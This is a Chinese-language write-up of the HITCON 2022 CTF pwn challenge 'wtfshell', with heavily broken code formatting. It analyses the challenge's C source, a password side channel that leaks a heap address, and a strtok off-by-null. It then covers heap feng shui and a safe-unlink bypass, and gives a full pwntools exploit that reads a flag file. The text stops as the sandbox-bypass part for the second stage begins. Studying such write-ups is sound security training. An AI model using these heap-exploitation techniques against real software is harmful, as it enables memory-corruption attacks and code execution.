征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw
侧信道+read_pw
未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。
wtfshell1
最终解数为4,wtfshell2
最终解数为3。第一题解出来了第二题基本就解出来了。
感谢crazyman
第二天来告诉我wtfshell的主要漏洞(strtok off by null),思考后脑子里出现了一套完整的利用思路。因此做出如下复现。
文章不太喜欢附图,大家多包涵,做出来难度还是蛮大的,因为即使知道了strtok->off-by-null
,还是有非常多细节需要思考☹️。
题目提供了源码,一共930+行,libc为glibc2.36 3
,由于glibc-all-in-one
中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4
进行复现。
程序实现了一个类似于shell交互,输入rtfm
可以查看菜单:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π
π qq. Quit Quietly π
π lol,[
-
l].
List
Of fiLes π
π rip.[
FILE
] Redirect
InPut
π
π nsfw,
FILE
,PERM. New Single
File
for
Writing π
π wtf,DATA,
FILE
. Write data To
File
π
π omfg,
FILE
. Output My
File
Gracefully π
π gtfo,
FILE
. GeT the
File
Out π
π ouo. Output current User Out π
π stfu,USER.
SeT
new Friendly User π
π asap,[USER]. ASsign A new Password π
π sus,USER. Switch USer π
π shit. SHell InformaTion π
π irl. Instantly Reset shelL π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
|
功能主要为:
-l
命令可以查看①文件所属用户,②文件size,③文件名。realloc
+strcat
实现,其中realloc_size
为data_size
+1,防止strcat末尾\x00造成off by null。chk_pw
存在侧信道
泄露漏洞。_exit
退出。查看chk_pw
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
int
chk_pw(const char
*
pw) {
char
input
;
int
pw_len
=
strlen(pw);
for
(
int
i
=
0
; i < pw_len
+
1
; i
+
+
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(i
=
=
pw_len) {
/
/
The last character must be a line
break
return
input
=
=
'\n'
;
}
if
(
input
=
=
'\n'
) {
/
/
Ignore accidental line breaks
i
-
-
;
continue
;
}
/
*
If password mismatch, quit immediately
*
/
if
(
input
!
=
pw[i]) {
/
*
Read characters until
'\n'
*
/
while
(
1
) {
int
res
=
read(STDIN_FILENO, &
input
,
1
);
if
(res <
0
) {
terminate();
}
if
(
input
=
=
'\n'
) {
return
0
;
}
}
}
}
}
|
可以看到逻辑为:
i--
来忽略当检查途中遇到不正确的字符,且 i 并未到达pw_len
时,我们可以通过输入\n符是否退出chk_pw
来判断当前密码字符是否正确。
且若密码不正确,输入\n退出chk_pw
后会打印:
1
2
3
4
5
6
|
if
(!chk_pw(gusers[i]
-
>ushadow)) {
/
*
Clear data when error occurs
*
/
bzero(gusers[i]
-
>ushadow, PWMAX);
write_str(
"asap: pw1 ≠ pw2\n"
);
return
;
}
|
因此我们可以通过接收字符来判断密码字符是否正确,达到侧信道爆破的目的。
查看user结构体:uname堆指针跟在ushadow密码后。
1
2
3
4
5
|
struct user {
char ushadow[PWMAX];
char
*
uname;
int
uid;
};
|
查看read_pw
函数:在读满PWMAX
size的时候,并未在末尾置零,导致user->ushadow
与user->uname
指针连接。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
int
read_pw(char
*
dest) {
int
read_num
=
0
;
while
(read_num < PWMAX) {
int
res
=
read(STDIN_FILENO, &dest[read_num],
1
);
if
(res <
0
) {
terminate();
}
if
(dest[read_num]
=
=
'\n'
) {
dest[read_num]
=
'\0'
;
return
read_num;
}
read_num
+
+
;
}
return
read_num;
}
|
查看chk_pw
函数:判断密码位数是通过strlen
来判断的:
1
|
int
pw_len
=
strlen(pw);
|
因此结合起来,我们可以利用侧信道+结构体,来leak出一个堆地址。
main函数中的gbuff是拿来储存我们的命令字符串的,大小为0x400,对其有一个分割符处理:
1
2
|
read_max(gbuff, GBSIZE);
char
*
token
=
strtok(gbuff, delim);
|
strtok
函数会不断往字符串后面遍历,直到遇到\x00
截断,同时strtok
会将查找到的隔断符delim
设置为\x00
。
查看隔断符delim:
1
|
const char delim[]
=
".,?!"
;
|
其中!的ascii码值为0x21,若我们能在gbuff
0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok
实现off-by-null
。
首先申请一个user
结构体,填满其pwd。本地gdb调试之后发现这样user->uname
指针末尾为0,因此可以申请两个user
结构体,第一个用作填充,使第二个user
结构体的user->uname
指针末尾不为0。
由于堆地址最低字节固定,不用泄露:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
|
堆风水真的给整麻了。
首先我们需要得到一个被填满0x408非零字节的gbuff
堆块。
整个程序free只能通过两种方式:①xrealloc,②xfree。
其中xfree函数:
1
2
3
4
5
6
7
8
|
void xfree(void
*
ptr) {
if
(!ptr) {
return
;
}
size_t size
=
malloc_usable_size(ptr);
bzero(ptr, size);
free(ptr);
}
|
其中malloc_usable_size
函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size
也会被算进来清零,因此我们要避开xfree,只能用xrealloc
来free。
xrealloc
其实就是调用realloc
函数,当我们申请一个大于当前堆块size的堆块时,realloc
会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。
小堆风水一波,得到一个填满0x408非零字节的gbuff
堆块步骤为:
unsortedbin
与top_chunk
。tcache_list
。cmd_irl
来free掉gbuff
,由于tcache_list
已经被填满,因此free掉的gbuff
不会进入tcache_list
,会变成unsortedbin,然后下一次申请,会申请tcache_list
中第一个空闲堆块,也就是我们之前填满非零字节的一个堆块。这样就能获得一个填满0x408字节的gbuff
。接下来就很简单能够想到在gbuff
的下面申请一个堆块,off-by-null
之后利用,以下文章将该堆块命名为off-by-null-chunk
在思考这一段时,卡了我非常久,特别鸣谢winmt
师傅和ln3
师傅和我激情讨论,一次次点醒我。
①off-by-null-chunk
的prev_size
我们无法控制。
首先我们知道,off-by-null-chunk
的prev_size
是被填满了八字节的,不然无法触发strtok
然后触发off-by-null
。
gbuff
堆块与off-by-null-chunk
是紧挨的,然后我们如果要更改off-by-null-chunk
的prev_size
,就必须通过gbuff
来更改。
我们知道,我们只能控制gbuff
堆块的前0x400个字节,更改不了off-by-null-chunk
的prev_size
。
尝试思路一:首先肯定要触发off-by-null
,我想的是触发off-by-null
之后,再次调用cmd_irl
来free掉gbuff
,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunk
的prev_size
。
但是这样是显然行不通的,因为free掉gbuff
的时候,会判断gbuff
下面那个堆块的use状态,由于已经off-by-null
,会触发off-by-null
,但是我们的prev_size
不合法,这样会导致程序出错。
尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff
第0x400-0x408个字节中非prev_size
部分清空,同时触发off-by-null
。最终也以失败告终。
最终思路:再次审查源码后,发现cmd_rip
函数中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
void cmd_rip() {
char
*
fname
=
strtok(NULL, delim);
##this!
char
*
rbuff
=
xmalloc(SBSIZE);
/
*
Redirect
input
to stdout
*
/
if
(!fname) {
read_max(rbuff, SBSIZE);
write_str(rbuff);
write_str(
"\n"
);
xfree(rbuff);
return
;
}
/
*
Redirect
input
to a
file
*
/
remove_slash(fname);
#that!
if
(strlen(fname)
=
=
0
) {
write_str(
"rip: flag = ∅\n"
);
xfree(rbuff);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
write_str(
"rip: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
xfree(rbuff);
}
|
注意代码中我注释的this和that部分。
关注到remove_slash
函数,会将字符串中含\的部分置为\x00:
1
2
3
4
5
6
7
8
|
void remove_slash(char
*
fname) {
int
fname_len
=
strlen(fname);
for
(
int
i
=
0
; i < fname_len; i
+
+
) {
if
(fname[i]
=
=
'/'
) {
fname[i]
=
'\0'
;
}
}
}
|
同时也是通过strlen
来判断长度。
menu
与cmd_rip
函数中,按先后顺序调用了如下:
1
2
3
|
char
*
token
=
strtok(gbuff, delim);
char
*
fname
=
strtok(NULL, delim);
##this!
remove_slash(fname);
#that!
|
如果我们构造这样的payload:
1
|
b
'rip.'
+
b
'a'
*
(
0x400
-
4
)
|
同时,在之前堆风水写gbuff
的第0x400-0x408字节,若我们填入如下内容:
1
|
p16(prev_size)
+
b
'\'
*
6
|
那么在执行第一句语句之后,返回的指针已经指向
1
|
b
'a'
*
(
0x400
-
4
)
+
p16(prev_size)
+
b
'\'
*
6
|
注意strtok第一个参数为NULL时,继承的是上一次strtok返回的指针。
因此执行第二句语句之后,能够将off-by-null
的size头低位0x21置为0,触发off-by-null
同时,执行第三句语句,将调整我们的prev_size
为正常。
我们知道,free一个堆块,会去检测下一个堆块的next_size
是否合法:
1
2
3
|
if
(__glibc_unlikely (chunksize_nomask (
next
) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (
next
) > av
-
>system_mem))
malloc_printerr (
"malloc(): invalid next size (unsorted)"
);
|
我们free掉off-by-null-chunk
的时候,除非off-by-null-chunk
的size本身为0x501
这种,off by null之后不用伪造next_size
。否则需要伪造合法的next_size
,不然free会触发错误。
伪造next_size
的过程几乎没有希望的,之前看来:
首先off-by-null-chunk
的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null
是没有作用的。
这就意味着我们申请的off-by-null-chunk
的size需要大于0x400,那就只能调用cmd_rip
来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip
的操作是根据strlen
函数返回的长度来进行realloc
的,也就是说,我们申请出某个size 的堆块,就必须填满他。
cmd_rip
中部分代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"rip: ¬ perm\n"
);
xfree(rbuff);
return
;
}
read_max(rbuff, SBSIZE);
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(rbuff) >
0
) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(gfiles[i]
-
>fdata)
+
strlen(rbuff)
+
1
);
/
/
Remember the extra null byte
}
strcat(gfiles[i]
-
>fdata, rbuff);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(rbuff);
}
xfree(rbuff);
return
;
}
}
|
但我们要伪造fake_next_size
,fake_next_size
中肯定带\x00
截断,同时由于off-by-null-chunk
原本size低字节为0x21,被改成\x00后,fake_next_size
要放在off-by-null-chunk
的+0x500处,例如如下结构:
1
2
3
4
5
6
|
off
-
by
-
null
-
chunk:
0
0x500
(
0x521
)
........
........
padding,fake_next_size
padding,padding。
|
其中padding为8非零字节。可以注意到fake_next_size
中带\x00截断,因此我们不能申请到0x521大小的chunk。
想过很多种方法,例如利用realloc
去进行一些trick,例如:
先申请出0x521大小的chunk,然后利用cmd_wtf
里的strcpy
往里填入零字节,再利用cmd_rip
来realloc到适当字节,恰好写进fake_next_size
,但是对一个内存大于申请size的堆块进行realloc
,会free掉剩余size的小chunk:
例如对0x521 chunk 进行reallc(ptr,0x410)
,他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null
。
可见对大于0x400 size的chunk去写入一个fake_next_size
是非常困难的。
转换思路呢?可能一开始就想错了,为什么off-by-null-chunk
size一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list
即可。
而如果size小于0x400,我们观察cmd_wtf
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
void cmd_wtf() {
char
*
fdata
=
strtok(NULL, delim);
if
(!fdata) {
write_str(
"wtf: data ∈ ∅\n"
);
return
;
}
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"wtf: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"wtf: file = ∅\n"
);
return
;
}
/
*
Special case: flag1 cannot be altered
*
/
if
(!strcmp(fname,
"flag1"
)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
for
(
int
i
=
1
/
*
ignore flag1
*
/
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be writable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & WRPERM)) {
write_str(
"wtf: ¬ perm\n"
);
return
;
}
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
}
write_str(
"wtf: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ\n"
);
}
|
其中关键的即为:
1
2
3
4
5
6
7
8
9
10
11
12
|
if
(gfiles[i]
-
>fdata) {
/
*
File
is
not
empty
-
> rewrite the
file
content
*
/
if
(strlen(fdata) > strlen(gfiles[i]
-
>fdata)) {
gfiles[i]
-
>fdata
=
xrealloc(gfiles[i]
-
>fdata, strlen(fdata)
+
1
);
/
/
Remember the extra null byte
}
strcpy(gfiles[i]
-
>fdata, fdata);
}
else
{
/
*
File
is
empty
-
> write the content directly
*
/
gfiles[i]
-
>fdata
=
strdup(fdata);
}
return
;
}
|
若strlen(fdata)<strlen(gfiles[i]->fdata)
,是不会触发realloc
的,而是直接调用strcpy
,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size
。
后续写入地址也多次用到这个方式,因此我封装了一个函数(不太优雅,将就着看):
1
2
3
4
5
6
7
8
9
10
11
12
|
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
# log.success(hex(i))
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
# pause()
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
# debug("free")
else
:
continue
|
整理一下我们之前做到的事情:
remove_slash
和strtok
配合,构造好off-by-null-chunk
的prev_size
。(前提是该chunk size得小于0x400,因此我们需要提前填满对应size的tcache_list
)write_addr
函数伪造off-by-null-chunk
的fake_size
。并且这道题我们已经用侧信道泄露了堆地址,大大降低了off-by-null
的难度,可以进行safe-unlink
。
只用在上方伪造一个size,然后绕过如下检测即可:
1
2
3
4
5
6
7
8
9
10
|
if
(__builtin_expect (fd
-
>bk !
=
p || bk
-
>fd !
=
p,
0
))
malloc_printerr (
"corrupted double-linked list"
);
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p
-
>fd_nextsize !
=
NULL)
{
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
|
堆风水:
如果我们构造成:
1
2
3
4
|
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr
|
这里注意的是,p->fd->bk
和p->bk->fd
指向的地方,不能和p->fd_nextsize->bk_nextsize
和p->bk_nextsize->fd_nextsize
指向的地方相同,否则在通过第一个检测之后,会执行:
1
2
|
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
|
就绕不过第二个检测:
1
2
3
|
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
|
因此最终构造为:
1
2
3
4
|
0
fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P
-
>addr P
-
>addr
|
这里我在off-by-null-chunk
下方没有构造好,导致一个tcache
的prev_inuse
为0,触发了第二次unlink
,小调整了一下即可。
off-by-null
之后,中间夹了几个tcache
,即可实现泄露和任意地址写。
需要注意的是:
能够任意写的tcache
size必须要小,因为cmd
中任何申请函数都是以strlen
返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache
size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。
wtfshell1
中,我的思路是申请到flag1
堆块,更改其file->flag
为3(rw)与file->name
。
如果任意写的tcache_size
过大,申请过去必须得写完,这会导致把堆上很多指针或者file->name
破坏掉。
wtfshell2
中,我的思路是打libc got表,那0x2f0大小必定会破坏掉非常多东西,因此也是不可能的。
因此做到这之后,我又重新调整tcache_size
,小改了一波堆风水。
至此我们已经拿到heap_base
,libc_base
,并且有了任意写,泄露之后申请任意写过去改掉file->flag
为3(rw)与file->name
。
观察cmd_omfg
:发现如果是root用户,可以查看所有文件内容(若具有可读属性)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
void cmd_omfg() {
char
*
fname
=
strtok(NULL, delim);
if
(!fname) {
write_str(
"omfg: file ∈ ∅\n"
);
return
;
}
remove_slash(fname);
if
(strlen(fname)
=
=
0
) {
write_str(
"omfg: file = ∅\n"
);
return
;
}
for
(
int
i
=
0
; i < FILEMAX; i
+
+
) {
if
(gfiles[i] && gfiles[i]
-
>fname && !strcmp(gfiles[i]
-
>fname, fname)) {
/
*
The
file
's owner must be root
or
the current user,
and
the
file
must be readable
*
/
if
((curr_uid !
=
0
&& gfiles[i]
-
>fuid !
=
curr_uid) || !(gfiles[i]
-
>fflag & RDPERM)) {
write_str(
"omfg: ¬ perm\n"
);
return
;
}
if
(!gfiles[i]
-
>fdata) {
/
/
empty
file
return
;
}
write_str(gfiles[i]
-
>fdata);
write_str(
"\n"
);
return
;
}
}
write_str(
"omfg: \""
);
write_str(fname);
write_str(
"\" ∉ ℱ \n"
);
}
|
由于我已经将file->flag
改为3,file->name
改为aaaaaaaaaaaaaaaa
。
直接调用show即可打印出第一个flag。
至此,wtfshell1
get。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
|
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
# context.log_level = 'debug'
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
# log.success(hex(i))
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
# pause()
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
# debug("free")
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
add_data(b
'big'
,b
'a'
*
0x100
)
# free the unsortedbin
#add 0x408 back
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
#add 0x521 chunk to off-by-null
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
# add a 0x321 chunk and edit its fake_next_size
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
#make off by null and clear the prev_size
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
#off by null unlink
delete_file(b
'off-by-null-chunk'
)
#clear the tcache list 0x20
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
#leak_libc_base
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((heap_base
+
0x330
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
)
write_addr(b
'go_attack'
,p32(
1
)
+
p32(
0x3
)
+
p64(
0xdeadbeef
)
+
b
'lotuslotus'
,
0x1a
)
show_file(b
'a'
*
0x10
)
# debug("malloc_printerr")
qwq(heap_base)
qwq(libc_base)
r.interactive()
|
ps:exp运行一次可能不能成功,侧信道爆破以及write_addr
似乎有某些bug,不过多运行几次就能通。
wtfshell2只用考虑如何绕过沙盒,并且劫持程序流即可。
劫持strtok
的libc-got表为magic_gadget
,然后可劫持程序流。
沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2
比wtfshell1
少了一个解。wtfshell2
相比与wtfshell1
就是多了沙盒。因为我们在wtfshell1
中已经拿到了任意地址写,和heap_base
,libc_base
,wtfshell2
考察的就是如何绕过沙箱写orw
:
1
2
3
